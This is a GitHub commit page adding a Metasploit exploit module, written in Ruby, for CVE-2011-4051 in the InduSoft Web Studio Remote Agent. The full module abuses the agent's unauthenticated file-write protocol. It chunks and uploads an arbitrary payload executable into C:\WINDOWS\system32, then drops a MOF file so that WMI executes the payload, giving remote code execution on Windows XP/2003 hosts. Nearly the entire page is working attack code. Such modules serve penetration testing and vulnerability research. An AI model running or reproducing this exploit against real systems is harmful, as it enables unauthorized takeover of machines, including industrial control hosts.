Skip to content

Commit 24037ac

Browse files
author
jvazquez-r7
committed
Added module for CVE-2011-4051
1 parent e39472f commit 24037ac

File tree

1 file changed

+196
-0
lines changed

1 file changed

+196
-0
lines changed
Lines changed: 196 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,196 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::Tcp
14+
include Msf::Exploit::EXE
15+
include Msf::Exploit::WbemExec
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'InduSoft Web Studio Remote Code Execution',
20+
'Description' => %q{
21+
This module exploits a lack of authentication and authorization on the InduSoft
22+
Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to
23+
the filesystem, by abusing the functions provided by the software.
24+
25+
The module uses uses the Windows Management Instrumentation service to execute an
26+
arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre
27+
Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows
28+
XP SP3 and Windows 2003 SP2.
29+
},
30+
'Author' =>
31+
[
32+
'Luigi Auriemma', # Vulenrability Discovery
33+
'juan vazquez' # Metasploit module
34+
],
35+
'License' => MSF_LICENSE,
36+
'References' =>
37+
[
38+
[ 'CVE', '2011-4051' ],
39+
[ 'OSVDB', '77179' ],
40+
[ 'BID', '50675' ],
41+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-330' ]
42+
],
43+
'Privileged' => true,
44+
'Payload' =>
45+
{
46+
'BadChars' => "",
47+
},
48+
'Platform' => 'win',
49+
'Targets' =>
50+
[
51+
[ 'Windows XP / 2003', { } ],
52+
],
53+
'DefaultTarget' => 0,
54+
'DisclosureDate' => 'Nov 04 2011'))
55+
56+
register_options([Opt::RPORT(4322)], self.class)
57+
end
58+
59+
def check
60+
connect
61+
62+
# Get Application version
63+
data = [0x14].pack("C")
64+
sock.put(data)
65+
app_info = sock.get_once
66+
disconnect
67+
68+
if app_info =~ /InduSoft Web Studio v6.1/
69+
return Exploit::CheckCode::Vulnerable
70+
elsif app_info =~ /InduSoft Web Studio/
71+
return Exploit::CheckCode::Detected
72+
end
73+
74+
return Exploit::CheckCode::Safe
75+
76+
end
77+
78+
def upload_file(filename, my_payload)
79+
connect
80+
81+
# Get Application version
82+
data = [0x14].pack("C")
83+
sock.put(data)
84+
app_info = sock.get_once
85+
if app_info !~ /InduSoft Web Studio/
86+
print_error("#{@peer} - InduSoft Web Sutio hasn't been detected, trying to exploit anyway...")
87+
end
88+
89+
# Get Operating System
90+
data = [0x13].pack("C")
91+
sock.put(data)
92+
os_info = sock.get_once
93+
if os_info !~ /WINXP/ and os_info !~ /WIN2K3/
94+
print_error("#{@peer} - Exploitation through Windows Management Instrumentation service only works on windows pre-vista system, trying to exploit anyway...")
95+
end
96+
97+
# Upload file
98+
99+
data = "\x02\x37" # Command => Select destination
100+
data << [my_payload.length].pack("V") # Data length
101+
data << "#{filename}" # File name to upload
102+
data << "\x09\x00\x30\x00\x00\x00"
103+
data << "\x10\x03" # End of packet
104+
105+
# The data must be split on 1024 length chunks
106+
offset = 0 # Data to send
107+
count = 1 # Number of chunks sent
108+
groups = 0 # Data must be sent in groups of 50 chunks
109+
110+
chunk = my_payload[offset, 1024]
111+
112+
while not chunk.nil?
113+
114+
# If there is a group of chunks, send it
115+
if count % 51 == 0
116+
117+
data << "\x02\x2c" # Command => Send group of chunks
118+
my_count = [count].pack("V") # Number of chunks
119+
data << my_count.gsub(/\x10/, "\x10\x10")
120+
data << "\x10\x03" # End of packet
121+
122+
sock.put(data)
123+
res = sock.get_once
124+
if res !~ /\x02\x06\x10\x03/
125+
return res
126+
end
127+
128+
count = count + 1
129+
groups = groups + 1
130+
data = ""
131+
132+
end
133+
134+
pkt = [ 0x02, 0x2e ].pack("C*") # Command => Chunk Data
135+
my_count = [count].pack("V")
136+
pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
137+
pkt << [chunk.length].pack("V").gsub(/\x10/, "\x10\x10") # Chunk Data length
138+
pkt << chunk.gsub(/\x10/, "\x10\x10") # Chunk Data
139+
pkt << "\x10\x03" # End of packet
140+
141+
data << pkt
142+
offset = (count - groups) * 1024
143+
chunk = my_payload[offset, 1024]
144+
count = count + 1
145+
end
146+
147+
pkt = [ 0x02, 0x03].pack("C*") # Command => End of File
148+
my_count = [count].pack("V")
149+
pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
150+
pkt << rand_text_alpha(8) # LastWriteTime
151+
pkt << rand_text_alpha(8) # LastAccessTime
152+
pkt << rand_text_alpha(8) # CreationTime
153+
pkt << "\x20\x00\x00\x00" # FileAttributes => FILE_ATTRIBUTE_ARCHIVE (0x20)
154+
pkt << rand_text_alpha(1)
155+
pkt << "\x10\x03" # End of packet
156+
data << pkt
157+
158+
sock.put(data)
159+
res = sock.get_once
160+
disconnect
161+
162+
return res
163+
164+
end
165+
166+
def exploit
167+
168+
@peer = "#{rhost}:#{rport}"
169+
170+
exe = generate_payload_exe
171+
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
172+
173+
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
174+
mof = generate_mof(mof_name, exe_name)
175+
176+
print_status("#{@peer} - Uploading the exe payload to C:\\WINDOWS\\system32\\#{exe_name}")
177+
res = upload_file("C:\\WINDOWS\\system32\\#{exe_name}", exe)
178+
if res =~ /\x02\x06\x10\x03/
179+
print_good "#{@peer} - The exe payload has been uploaded successfully"
180+
else
181+
print_error "#{@peer} - Error uploading the exe payload"
182+
return
183+
end
184+
185+
print_status("#{@peer} - Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}")
186+
res = upload_file("c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
187+
if res =~ /\x02\x06\x10\x03/
188+
print_good "#{@peer} - The mof file has been uploaded successfully"
189+
else
190+
print_error "#{@peer} - Error uploading the mof file"
191+
return
192+
end
193+
194+
end
195+
196+
end

0 commit comments

Comments
 (0)